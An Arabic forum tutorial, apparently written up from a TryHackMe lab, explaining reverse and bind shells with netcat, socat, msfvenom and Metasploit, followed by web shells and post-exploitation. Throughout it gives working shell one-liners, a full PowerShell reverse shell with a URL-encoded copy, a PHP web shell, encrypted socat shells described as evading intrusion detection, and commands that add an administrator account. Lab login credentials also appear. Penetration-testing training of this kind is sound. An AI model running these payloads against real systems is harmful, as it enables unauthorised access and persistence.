احيانا لما تهاجم جهاز حاسوب عن بُعد بإمكانك تجبر برنامج بشتغل على السيرفر (مثل خادم ويب) أنو ينفذ أوامر عشوائية وهاي فرصة ممكن تستخدمها للحصول على الـ shell يعني تفتح لنفسك نافذة عشان تتحكم في جهاز مستهدف


ببساطة بنقدر نجبر السيرفر البعيد إما يرسللنا وصول لسطر الأوامر على السيرفر ( reverse shell ) أو يفتح منفذ على السيرفر بنقدر نتصل فيه عشان ننفذ أوامر أخرى ( bind shell )


مجموعة من الأدوات اللي بتساعدنا ناخذ reverse shell ونبعث bind shell

الـ
Netcat :
هي الأداة التقليدية اللي ممكن نحكي عنها إنها سويسرا الشبكات ( بنهّف:)) بشير انها أداة متعددة الاستخدامات ومتعددة الوظائف
بتستخدم لعمل كل شيء في التواصل على الشبكات
المهم فيها انها بتقدر تستقبل reverse shell وتتصل بمنافذ بعيدة على الأجهزة المستهدفة لعمل bind shell لكن الشل اللي بتنولد بالـ Netcat عادة مش مستقرة (سهلة تفقدها) بشكل افتراضي بس ممكن تتحسن باستخدام تقنيات راح نتكلم فيها لاحقًا


الـ Socat :
بتقدر تعمل كل الحركات اللي بتعملها الـ Netcat وأكثر والـ shell اللي بتنولد بالـ Socat عادة أكثر استقرار من الـ Netcat
الـ Socat أفضل من الـ Netcat بشكل كبير
بس فيها مشكلتين :
  • الصيغة الخاصة فيها أصعب
  • الـ Netcat موجودة في كل توزيعات لينكس تقريبًا بشكل افتراضي، بينما الـ Socat نادرًا ما تكون مثبتة افتراضيًا
في حلول لكل الأمور هاي بنحكي عنهم كمان شوي
كلاً من الـ Netcat والـ Socat فيهم نسخ exe. للاستخدام على ويندوز


الـ Metasploit -- multi/handler :
الـ exploit/multi/handler في إطار Metasploit
زي الـ Netcat والـ Socat يستخدم لاستقبال reverse shell بسبب إنه جزء من إطار Metasploit الـ multi/handler بوفر طريقة كاملة لاستقبال الـ shell بشكل مستقر مع مجموعة متنوعة من الخيارات لتحسين الـ shell اللي تم التقاطه + هو الطريقة الوحيدة للتفاعل مع الشل meterpreter وهو أسهل طريقة للتعامل مع الـ payloads



الـ Msfvenom :

الـ msfvenom فنياً جزء من إطار Metasploit بس هي عبارة عن أداة مستقلة تستخدم لتوليد payloads بينما الـ msfvenom بقدر يولد payload غير reverse shell و bind shell

بجانب الأدوات اللي حكينا عنها في مخازن للـ shells في لغات كثيرة وحدة من أهم الـ shell هي Payloads all the Things وفي كمان Cheatsheet مشهورة

وايضا Kali Linux بيجي معاه مجموعة من الـ shells مثبتة مسبقاً في usr/share/webshells
مستودع SecLists بالرغم من أنه بشكل أساسي يستخدم لقوائم الكلمات برضه بحتوي على بعض الكود's المفيدة جدًا للحصول على الـ shell



انواع الـ shell


1. الـ reverse shell هو عند إجبار الهدف على تنفيذ كود يتصل بجهازك ويعتبر الأكثر شيوعًا
على جهازك بتستخدم أحد الأدوات اللي ذكرناها قبل لإعداد مستمع يُستخدم لاستقبال الاتصال

ميزتها // انها طريقة جيدة لتجاوز قواعد جدار الحماية التي قد تمنعك من الاتصال بمنافذ عشوائية على الهدف
سلبيتها // هو أنه عند استقبال شل من جهاز عبر الإنترنت بتحتاج لتكوين شبكتك الخاصة لقبول الشل ( تفتح منفذ على جهازك عشان تستقبل الاتصال القادم من الهدف )

2. الـ bind shell هو لما نستخدم كود معين يتم تنفيذه على الهدف لبدء استماع ( مرتبط بشل مباشرة على الهدف )
بعدها بتقدر تتصل بالمنفذ اللي فتحه الكود والحصول على remote code execution بهاي الطريقة

ميزتها انها ما بتحتاج تفتح بورت او تكون شبكتك لاي اشي لكن سلبيتها انه قد يتم منعها من قبل جدران الحماية اللي بتحمي الهدف



مثال على الـ reverse shell




عندنا المستمع - هاد اللي بستقبل الاتصال ( بنكتبه على جهازنا )
كود:
sudo nc -lvnp 443

وعندنا هون بالصوره محاكاة لإرسال reverse shell
ممكن يكون حقن الكود على موقع ويب عن بعد او اي شي زي هيك
عندنا الامر ( بنكتبه على جهاز الهدف )
كود:
nc <LOCAL-IP> <PORT> -e /bin/bash
بنحط ip جهازنا


بعد ما نشغل الأمر بستقبل المستمع اتصال

مشاهدة المرفق 9097



مثال على الـ bind shell


عندنا المستمع - ( بنكتبه على جهاز الهدف )

كود:
nc -lvnp <port> -e  /bin/bash

مشاهدة المرفق 9100


عندنا الامر ( بنكتبه على جهازنا )
كود:
nc <TARGET_IP> <PORT>
بنحط ip الجهاز المستهدف


بعد ما نشغل الأمر بنستقبل اتصال




يمكن أن تكون الـ shell تفاعلية أو غير تفاعلية


تفاعلية : إذا كنت قد استخدمت Powershell أو Bash أو Zsh أو sh أو أي بيئة واجهة سطر الأوامر القياسية الأخرى
بتسمحلك هاي بالتفاعل مع البرامج بعد تنفيذها مثلا
تسجيل الدخول SSH :

0ayLj8L.png

هون بنشوف أنها بتطلب بشكل تفاعلي من المستخدم كتابة نعم أو لا لمتابعة الاتصال هاد برنامج تفاعلي بتطلب shell تفاعلي لتشغيله


غير التفاعلية : بتستخدم البرامج اللي ما بتتطلب تفاعل المستخدم لتشغيلها بشكل صحيح
معظم الـ reverse shell والـ bind shell هي غير تفاعلية مما قد يجعل استغلالها أصعب




لاحظ
أن أمر whoami ( الذي هو غير تفاعلي ) يُنفَّذ بشكل مثالي
لكن أمر SSH ( الذي هو تفاعلي ) لا يعطينا أي إخراج على الإطلاق

rXyEDKU.png










الـ Netcat Shell واستقرارها والـ Socat Shell المشفرة




لكن راح نركز الان على الـ shells

الـ Reverse Shells


الـ Reverse Shells : في السابق شفنا أن الـ Shell بتتطلب shellcode وlistener وفي عديد من الطرق لتنفيذ الـ Shell
صيغه الـ listener
كود:
nc -lvnp <رقم البورت>



الـ Bind Shells


الـ Bind Shells : بالحاله هاي بنفترض أنه في listener بانتظارنا على بورت محدد للهدف : كل ما علينا نعمله هو نتصل فيه

الصيغة للضحية :

كود:
nc <عنوان الهدف> <البورت المختار>
زي ما اخذنا بالمثال اللي قبل







استقرار الـ Shell

بعد ما نتصل عن طريق الـ Shell شو الخطوة الجاية؟

الـ Shell هاي ما بتستقر أبدًا بشكل طبيعي لما نضغط Ctrl + C بتقفل كل شيء ما بتكون تفاعلية وغالبًا فيها أخطاء غريبة في التنسيق
السبب إنه الـ Shell في الـ Netcat في الحقيقة هي عمليات بتشتغل جوا التيرمينل في طرق كثيرة لاستقرار الـ Shell في أنظمة لينكس

رح نحكي عن ثلاث طرق
استقرار الـ Reverse Shells على ويندوز بكون أصعب بس الطريقة الثانية اللي رح نحكي عنها بتكون مفيدة خصوصًا لهيك حالات


الطريقة الأولى : بايثون

هي عملية مراحل :

أول شيء لازم نعمله نستخدم
Python:
python -c 'import pty;pty.spawn("/bin/bash")'

اللي بستخدم بايثون عشان يولّدلنا bash shell اللي فيه ميزات أفضل لاحظ إنه بعض الأهداف بتحتاج إصدار معين من البايثون python2 أو python3
بهاي النقطة بتكون الـ shell أفضل شوي بس ما رح نقدر نستخدم التاب أو الأسهم والـ Ctrl + C لسا بتقفل كل شيء

ثاني شيء بنستخدم
Python:
export TERM=xterm
هاد رح يعطينا إمكانية نستخدم أوامر التيرمينل مثل clear

ثالث شيء
بنحط
الـ shell بالخلفية باستخدام Ctrl + Z

رابع شيء
بنرجع للتيرمينل وبنستخدم

Python:
stty raw -echo; fg

هاد الامر بعمل شغلتين :
بوقف الـ Terminal echo الخاص بنا (اللي بعطينا إمكانية استخدام التاب أو الأسهم والـ Ctrl + C لقتل العمليات ) ( لن يظهر أي مدخلات من المستخدم على الشاشة أثناء كتابتها )
وبخلي الـ shells بالأمام وهيك بتكون العملية كاملة


لو الشل تعطل اكتب reset


bQnFz1T.png





الطريقة الثانية: rlwrap
هو برنامج بساعدنا نستخدم الـ shell بشكل أفضل بعطينا أشياء زي تاريخ الأوامر والتاب أتوكومبليشن ( اكمال الامر عند الظغط على Tab ) والقدرة على استخدام الأسهم على طول بدون مشاكل بس المشكلة إنه لما نحاول نضغط على Ctrl + C بالشل ما بتشتغل

الـ rlwrap مش مثبت افتراضياً على كالي يمكن تثبيته عن طريق الامر
كود:
sudo apt install rlwrap

عشان نستخدم rlwrap بنحطه قبل الأمر اللي بنشغل فيه الـ shell يعني بنكتب
كود:
rlwrap nc -lvnp <port>
بس هالمرة الشل بتكون أفضل وأكثر مراوغة

الفكرة كلها مفيدة خصوصاً لما نكون بنتعامل مع shells ويندوز اللي بالعادة بكونوا صعبين شوي



الطريقة الثالثة: Socat
راح نتوسع فيها بعد شوي
تعتبر محدودة للأهداف اللينكس , shell socat على ويندوز ما رح يكون أكثر استقرارًا من shell netcat
لتنفيذ هاي الطريقة من التثبيت بنضيف أول شيء نسخة ثابتة من socat للجهاز الهدف
الطريقة عادية لتحقيق هاد الاشي بأننا نستخدم خادم ويب
كود:
sudo python3 -m http.server 80
بعدها على جهاز الهدف بنستخدم الـ shell netcat لتحميل الملف على لينكس هاد بيتم بالـ curl أو
كود:
wget (wget <LOCAL-IP>/socat -O /tmp/socat)

لأجل الاكتمال في بيئة سطر الأوامر في ويندوز نفس الاشي يمكن عمله باستخدام الـ PowerShell بالاعتماد على Invoke-WebRequest أو فئة النظام لطلب الويب اعتمادًا على الإصدار من الـ PowerShell المثبت
كود:
Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe

من ناحيه التنسيق

أول شيء، افتح التيرمينل واكتب
كود:
stty -a
هاد رح يعطيك الإخراج بالقيم للـ rows والـ columns

بعدين، في شل الاستقبال أو الارتباط الخاصه فينا بنكتب :

كود:
stty rows <number>

و

كود:
stty cols <number>

حط الأرقام اللي حصلت عليها من تنفيذ الأمر في تيرمينل الخاصه فيك

هاد رح يغيّر العرض والارتفاع المسجل للتيرمينل وهيك بسمح لبرامج متل محررات النصوص اللي بتعتمد على هيك معلومات يتم فتحها بشكل صحيح








الـ Socat وتشفير الـ shells

الـ Socat بتشبه الـ Netcat
الطريقة الأسهل اننا نمثل فيها الـ Socat إنها بتوصل بين نقطتين
النقطة الأولى بتكون البورت اللي بنستمع عليه والنقطة الثانية الكيبورد , ممكن تكون نقطة الوصل بين بورت وملف وحتى بين بورتين
بالبساطة هاي الـ Socat بقدم رابط بين نقطتين



الـ Reverse Shells

زي ما حكينا قبل الصيغة للـ Socat أصعب بكتير من الـ Netcat

الصيغه للإستماع بالـ Reverse shell :

كود:
socat TCP-L:<رقم بورت> -

مشاهدة المرفق 9130

زي ما بنعرف إن الـ Socat بوصل نقطتين مع بعض النقطتين هدول بورت الإستماع والـ input وبوصل بينهم الـ shell الناتج مش مستقر بس شغال على لينكس وويندوز


على ويندوز بنستخدم الأمر هاد عشان نرجع :

كود:
socat TCP:<الآيبي-المحلي>:<البورت-المحلي> EXEC:powershell.exe,pipes

الـ pipes بنستخدمها عشان نجبر powershell (أو cmd.exe) يستخدم الـ standard input and output على طريقة Unix

والأمر المعادل اذا كان الهدف لينكس :

كود:
socat TCP:<الآيبي-المحلي>:<البورت-المحلي> EXEC:"bash -li"



الـ Bind Shells

الصيغه اللي المهاجم
كود:
socat TCP:<TARGET-IP>:<TARGET-PORT> -

الصيغه للضحية على لينكس
كود:
socat TCP-L:<PORT> EXEC:"bash -li"

الصيغه للضحية على ويندوز
كود:
socat TCP-L:<البورت> EXEC:powershell.exe,pipes




أقوى استخدامات Socat : الـ tty reverse shell لانها تعتبر أكثر استقرارًا ( على الهدف نظام لينكس )

حكينا قبل عن الأداة انها متعددة الإستخدامات بشكل كبير بس التقنية هاي من أهم استخداماتها

الصيغة للـ listener :

كود:
socat TCP-L:<port> FILE:`tty`,raw,echo=0


زي ما بنعرف إن الـ Socat بوصل نقطتين مع بعض النقطتين النقطتين هدول هم بورت للإستماع وملف
معظم الأجهزة ما بتيجي مع Socat مثبتة بشكل افتراضي بس ممكن تنزل برنامج Socat مترجم precompiled socat وبعدين بتشغله عادي

الأمر :

socat TCP:<آيبي-المهاجم>:<البورت-المهاجم> EXEC:"bash -li",pty,stderr,sigint,setsid,sane


الجزء الأول سهل -- بنتصل بالليستنر اللي شغال على الجهاز الخاص فينا
الجزء التاني من الأمر بعمل جلسة باش تفاعلية بالباش مع "EXEC:"bash -li

الـ pty بخصص تيرمينال مزيفه خاصه بالهدف
الـ stderr عشان يظهر أي رسائل خطأ في الـ shell (غالبًا مشكلة في shells الغير تفاعلية)
الـ sigint بمرر أي أوامر Ctrl + C للعملية الفرعية فـ بنقدر نوقف الأوامر جوا الـ shell
الـ setsid
بنشئ العملية في جلسة جديدة
الـ sane بثبت التيرمينال وبحاول يجعله normalise قدر الإمكان


لاحظ أن الـ shell بالـ Socat متفاعل , له القدرة على استخدام أوامر تفاعلية زي الـ SSH

لو شيل الـ Socat ما بتشتغل صح بنقدر نضيف الامر عشان نزود الدقة بإضافة d -d- للأمر




تشفير الـ shells


في شغله حلوه بـ Socat إنك بتقدر تخلي الـ shells مشفرة يعني ما حد بقدر يتجسس عليها إلا لو عندو مفتاح التشفير وكمان بتقدر تتجاوز نظام الكشف عن الاختراقات (IDS) لأنها مشفرة

الفرق عن قبل كل مرة بنستخدم TCP لازم نغيرها ونحط OPENSSL عشان تكون الـ shells مشفرة

قبل ما نبدا شرح عن الـ shells مشفرة لازم نحكي عن الشهادات
لازم نولّد شهادة عشان نستخدم الـ shells المشفرة
بإمكاننا نعمل هاد الاشي عن طريق الامر :

كود:
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

هاد الأمر بعمل مفتاح RSA بطول 2048 بت مع ملف شهادة وبتوقيع ذاتي وصالح لأقل من سنة

لما تشغّل هاد الأمر بطلب منك تعبي معلومات عن الشهادة بتقدر تخليها فاضية أو تعبيها عشوائي


بعدين لازم ندمج الملفين اللي عملناهم بملف واحد pem. عن طريق الامر :

كود:
cat shell.key shell.crt > shell.pem


لما نعمل reverse shell بنستخدم الامر هاد :
الصيغة للـ listener :
كود:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

هيك بنخلي listener مشفر باستخدام الشهادة اللي عملناها
verify=0 معناها إنو ما في داعي يحاول يتحقق إذا كانت الشهادة صحيحة أو لأ , لازم تعرف إنه الشهادة لازم تستخدم على الجهاز اللي بكون عليه الاستماع

وبالنسبة للاتصال الراجع بنستخدم الامر :

كود:
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash


نفس التقنية بنطبقها على الـ bind shell :

على الهدف بنستخدم الامر :

كود:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:"/bin/bash",pipes

على جهازي المهاجم :

كود:
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -


حتى لو كان الهدف ويندوز لازم نستخدم الشهادة مع الاستماع فبتحتاج تنسخ ملف PEM لعمل bind shell



استخدم المنفذ 53 وملف PEM المسمى "encrypt.pem"
البناء للمطوب بدون تشفير هو
كود:
socat TCP-L:53 FILE:`tty`,raw,echo=0





البناء للمطوب بدون تشفير هو
كود:
socat TCP:10.10.10.5:53 EXEC:"bash -li"،pty،stderr،sigint،setsid،sane




الـ Shell Payloads

راح نحكي عن بعض الأدوات والتقنيات اللي بتستخدم في اختراق الأنظمة أشياء مثل الـ بايلود's اللي هي عبارة عن برمجية تستخدم في اختراق الأنظمة

سبق وحكينا عن الـ Netcat

وبـ الويندوز ما يحتوي على خواص معينه

مثل هذا
كود:
nc <LOCAL-IP> <PORT> -e /bin/bash

بس هذا الأمر بشتغل على الويندوز :
الأمر هاد للـ listener
كود:
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f



والأمر هاد يستخدم لعمل ريفيرس شيل :

كود:
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

لكن لو كنت بتستهدف نظام ويندوز حديث بتحتاج ريفيرس شيل عبر باورشيل وهذا ألامر مفيد جداً :

كود:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

بمجرد ما تنفذ هذا الأمر راح تتحكم في النظام اللي حطيت عنوانه الآي بي والبورت الخاص فيه

من المثال المعطى

T6o7kOL.png


موقع PayloadsAllTheThings فيه كم هائل من البايلود's المختلفة بأكثر من لغة







الـ msfvenom والـ multi/handler
سبق وحكينا عن الـ Msfvenom



وكمان بقدر ينشئ بايلود's بصيغ مختلفة زي exe. و aspx. و war. و py.

استخدام الـ msfvenom بالشكل الصحيح هو :
كود:
msfvenom -p <PAYLOAD> <OPTIONS>

مثلا لو بدنا ننشئ revers shell على نظام ويندوز 64 بت بصيغة exe بنستخدم الامر هاد :
كود:
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>

في نوعين من البايلود's اللي هما staged و stageless
  1. Staged payloads : هذا النوع من الـ shell's يتم إرساله بجزئين ( الاشاره اللي بتدل انو البايلود هيك هي ( / ) )
    الجزء الأول بتصرف كمدخل صغير للهدف بس هو ما فيه كود للـ shell بنفسه , يستخدم الجزء الأول للاتصال بالجهاز اللي بنستخدمه لاستقبال الشلة و
    الجزء الثاني هو الـ shell الحقيقية اللي يتم تنفيذها على الجهاز المستهدف الهدف من هاد التقسيم إنو يمنع اكتشاف الـ shell من قبل برامج مكافحة الفيروسات
  2. Stageless payloads : هذا النوع من الشلات بكون كامل بذاته يعني ما فيه جزء مقسم هاي الـ shell أسهل بالاستخدام ولكنها أكبر حجمًا وأكثر تعرضًا للاكتشاف من قبل برامج مكافحة الفيروسات الاشاره اللي بتدل انو البايلود هيك هي ( _ )

أسماء البايلود's في msfvenom

النظام الأساسي لإسماء البايلود's هو :

<نظام التشغيل>/<arch>/<البايلود's>

مثلاً:

كود:
linux/x86/shell_reverse_tcp

الامر هاد بنشئ revers shell TCP لنظام Linux بنوع الـ arch هي x86

الاستثناء من القاعدة هاي هو للأهداف على الويندوز 32بت فيها لا يتم تحديد نوع الـ arch مثال:

كود:
windows/shell_reverse_tcp

بالنسبة لهدف ويندوز 64بت بتحدد نوع الـ arch

البايلود's
اللي بتحتوي على underscore ( _ ) بتكون stageless يعني ما فيها مراحل أما
البايلود's اللي فيها forward slash (/) فهي staged

وبنطبق ايضا على حمولات بايلود's الـ meterpreter لهدف ويندوز ـ 64بت :

كود:
windows/x64/meterpreter/reverse_tcp

وبالنسبة بايلود's الـ meterpreter لهدف Linux ـ 32بت :

كود:
linux/x86/meterpreter_reverse_tcp

في عننا الامر
كود:
msfvenom --list payloads

بعرضلنا كل البايلود's المتاحة وبتقدر تستخدمه مع grep عشان تبحث عن بايلود's معينة من الحمولات مثال :

كود:
msfvenom --list payloads | grep linux/x86/meterpreter

هذا بعطينا مجموعة كاملة من بايلود's الـ meterpreter لأهداف Linux بـ arch ـ 32بت







الـ multi/handler
الـ Multi/Handler : أداة رائعة جدًا لأتقاط reverse shells

طريقه استخدامها
  1. افتح Metasploit بـ msfconsole
  2. اكتب use multi/handler واضغط Enter
هيك إحنا جاهزين نبدأ session لـ multi/handler
الخيارات المتاحة باستخدام الأمر options :
في ثلاث خيارات لازم نعدل عليها الـ payload والـ LHOST والـ LPORT

هدول كلهم زي اللي بنعملهم لما بنولد shell باستخدام Msfvenom - payload محدد للهدف وعنوان ومنفذ الاستماع بنقدر نستقبل منه الـ shell

كيف نعدل هاي الخيارات عن طريق الاوامر التاليه :
كود:
set PAYLOAD <payload>
set LHOST <ip عنوان الـ >
set LPORT <البورت>

qIr6o2B.png

هيك احنا جاهزين لالتقاط اي اتصال

بنقدر نشغل الـ listener عن طريق الامر التالي
exploit
او
run

او ممكن نستخدم الامر
exploit -j
معناه يشغل الـ listener كـ job في الخلفية

بنقدر نشوف اذا في عننا اي session شغاله حاليا عن طريق امر sessions وبعدها بنقدر نخليها بالمقدمه عن طريق الامر ( رقم sessions -i ) عشان نختار الـ session اللي بدنا اياها عن طريق الامر
( رقم sessions )









الـ Web Shells و ما بعد الاستغلال


الـ Web Shells ببساطة بشتغل جوا الويب سيرفر (عادة بلغات زي PHP أو ASP) اللي بينفذ كود على السيرفر
في الأساس بنكتب الأوامر في صفحة الويب - إما عن طريق فورم HTML أو مباشرة في الـ URL - والبرنامج بنفذ الأوامر هاي وبرجعلنا النتيجة وبكتبها على الصفحة

الـ PHP هي أكثر لغة scripting مستخدمة على السيرفرات

مثال بشكل بسيط :


كود:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

الكود هاد بوخد باراميتر GET من الـ URL وبنفذه على النظام باستخدام ()shell_exec
يعني أي أوامر بنكتبها بالـ URL بعد =cmd? بتتنفذ على النظام - سواء كان ويندوز أو لينكس , العنصر pre بضمن إن النتائج تتنسق بشكل صحيح على الصفحة

W19gHwL.png


زي ما هو مبين بالصوره استخدمنا الأمر ifconfig اللي رجع معلومات الشبكة صح يعني لما دخلنا أمر ifconfig (اللي بشيك على واجهات الشبكة في لينكس) في الـ URL الخاص بالـ shell اللي دخلناه نفذ الامر على النظام ورجعلنا النتائج واكيد لو جربنا اوامر ثانيه بتشتغل زي (whoami، hostname، arch، إلخ)

في مجموعه من الـ shell موجوده في لينكس بشكل تلقائي زي ما حكينا قبل بهاد المسار /usr/share/webshells - منها الـ PentestMonkey php-reverse-shell اللي يعتبر مشهور مكتوب بلغة PHP معظم الـ revers shells مكتوبة لأهداف معينه مثل اهداف مبنية على يونيكس زي لينكس...الخ لكن ما بشتغلو على ويندوز بشكل افتراضي

لما الهدف يكون ويندوز أسهل طريقة عشان نحصل على RCE هي استخدام Web Shells أو باستخدام msfvenom لتوليد revers/bind shell بلغة السيرفر
بالطريقة الأولى عشان نحصل على تنفيذ عن بُعد بنعملها عن طريق shell powershell مشفرة في الـ URL هاد بنتسخ بالـ URL كـ argument تحت اسم cmd :

كود:
powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22



هاي نفس الشل اللي سبق واعطينا عنها مثال قبل بالموضوع الـ Shell Payloads بس هون مشفرة بشكل مُناسب لتستخدم في باراميتر GET واكيد الآي بي والبورت لسا لازم يتغير في الكود



ما بعد الاستغلال:
تقنيات الوصول والتحكم في النظام

ببعض الاختراقات بتقدر تضيف حسابك بنفسك مثلا شيء مثل Dirty C0w أو امكانية كتابة في الملفات etc/shadow/ أو etc/passwd/ بعطيك وصول SSH سريع للجهاز طبعاً بشرط إن الـ SSH مفتوح

على ويندوز الخيارات عادةً بتكون محدودة أكثر ببعض الأحيان بتقدر تحصل على كلمات السر للخدمات اللي شغالة في السجل مثلاً سيرفرات VNC عادة بتخلي كلمات السر في السجل مخزنة على طول بعض إصدارات سيرفر FTP FileZilla كمان بتترك بيانات الولوج في ملف XML في C:\Program Files\FileZilla Server\FileZilla Server.xml أو C:\xampp\FileZilla Server\FileZilla Server.xml هاي البيانات بتكون إما عبارة عن تشفير MD5 أو بنص مفتوح

في العادة على ويندوز الهدف هو تحصيل shell يشتغل تحت مستخدم SYSTEM أو حساب الـ administrator في مثل هاي الحالات بإمكانك ببساطة إضافة حسابك كـ administrator وبعدها تسجل دخول عن طريق RDP,Telnet ، winexe ، psexec ، WinRM أو أي طريقة ثانية

الأوامر لهاي الشي هي كالتالي:

كود:
net user <كلمة_السر> <اسم_المستخدم> /add

كود:
net localgroup administrators <اسم_المستخدم> /add




امثله على linux و windows

قم تنفيذ الخطوات التاليه
  1. رفع شل الويب على الصندوق اللينكس :
    • انتقل إلى مسار الملف /usr/share/webshells/php/
    • قم بتعديل ملف php-reverse-shell.php لتتوافق عنوان الآي بي والبورت مع عنوانك الحالي والبورت المخصص
    • رفع الملف المعدل على الويب سيرفر باستخدام أي أسلوب تحميل ملفات
  2. تشغيل شيل PHP واختباره :
    • انشئ مستمع Netcat على جهازك للتحقق مما إذا كان الشيل المعدل يعمل أم لا
    • قم بتشغيل ملف PHP الذي رفعته على الويب سيرفر اللينكس
  3. تسجيل الدخول إلى الجهاز اللينكس عبر SSH :
    • استخدم الاعتماد المقدمة في المهمة لتسجيل الدخول إلى الجهاز اللينكس عبر SSH.
  4. استخدام تقنيات Netcat للتفاعل مع الجهاز :
    • جرب استخدام تقنيات Netcat لتفعيل الـ revers/bind shell واختبارها.
  5. استخدام Socat لإنشاء شيلات:
    • جرب استخدام Socat لإنشاء revers/bind shell واختبارها

linux
تسجيل الدخول عبر SSH
  • Username: shell
  • Password: TryH4ckM3!


للتجربه عليه
windows
تسجيل الدخول عبر RDP أو WinRM
  • Username: Administrator
  • !Password: TryH4ckM3
لتسجيل الدخول باستخدام RDP :
كود:
xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:MACHINE_IP /u:Administrator /p:'TryH4ckM3!'



نقوم بتنفيذ الخطوات السابقة

1. رفع الويب شيل على الصندوق اللينكس :
  • ابدأ بتسجيل الدخول إلى لينكس باستخدام بيانات الاعتماد المذكورة
  • انتقل إلى مسار الملف /usr/share/webshells/php/
  • قم بتعديل ملف php-reverse-shell.php لتتوافق عنوان الآي بي والبورت مع عنوانك الحالي والبورت المخصص
  • رفع الملف المعدل على الويب سيرفر باستخدام الموقع
2. تشغيل شيل PHP واختباره :
  • انشئ مستمع Netcat على جهازك للتحقق مما إذا كان الشيل المعدل يعمل أم لا
  • قم بتشغيل ملف PHP الذي رفعته على الويب سيرفر اللينكس
3. تسجيل الدخول إلى الجهاز اللينكس عبر SSH :
  • استخدم الاعتماد المقدمة في المهمة لتسجيل الدخول إلى الجهاز اللينكس عبر SSH


4. استخدام تقنيات Netcat للتفاعل مع الجهاز :
  • جرب استخدام تقنيات Netcat لتفعيل الـ revers/bind shell واختبارها.

زي ما سبق وحكينا

الصيغة للـ listener
كود:
nc -lvnp <رقم البورت>

الصيغة للضحية
كود:
nc <عنوان الهدف> <البورت المختار>





5. استخدام Socat لإنشاء شيلات :
  • جرب استخدام Socat لإنشاء revers/bind shell واختبارها

زي ما سبق وحكينا

للـ Revers shell

الصيغة للـ listener
كود:
socat TCP-L:<port> -
الصيغة للضحية
كود:
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

للـ Bind shell

الصيغه اللي المهاجم
كود:
socat TCP:<TARGET-IP>:<TARGET-PORT> -

الصيغة للضحية
كود:
socat TCP-L:<PORT> EXEC:"bash -li"


الـ Reverse shell
مشاهدة المرفق 9342


الـ Bind shell
مشاهدة المرفق 9382
ما شاء الله, شغل فاخر من الأخر 🔥
شرح مفصل و تنظيم رائع عن جد 🔥
 
ما شاء الله عبود رائع جدا

لكن إلى الان ما عرفنا سبب تسمية المنتدى بشل
هل عندك أي تعليق @STORM
 
ما شاء الله عبود رائع جدا

لكن إلى الان ما عرفنا سبب تسمية المنتدى بشل
هل عندك أي تعليق @STORM
قرأت المقال وما عرفت 🥶
 
ما شاء الله عبود رائع جدا

لكن إلى الان ما عرفنا سبب تسمية المنتدى بشل
هل عندك أي تعليق @STORM
لانه الشل اقرب شيء لقلبي 😂😂
عن جد احساسك لما بتاخد شل علي ال machine جدا مفرح 🥰
 

آخر المشاركات

فانوس

رمضان
عودة
أعلى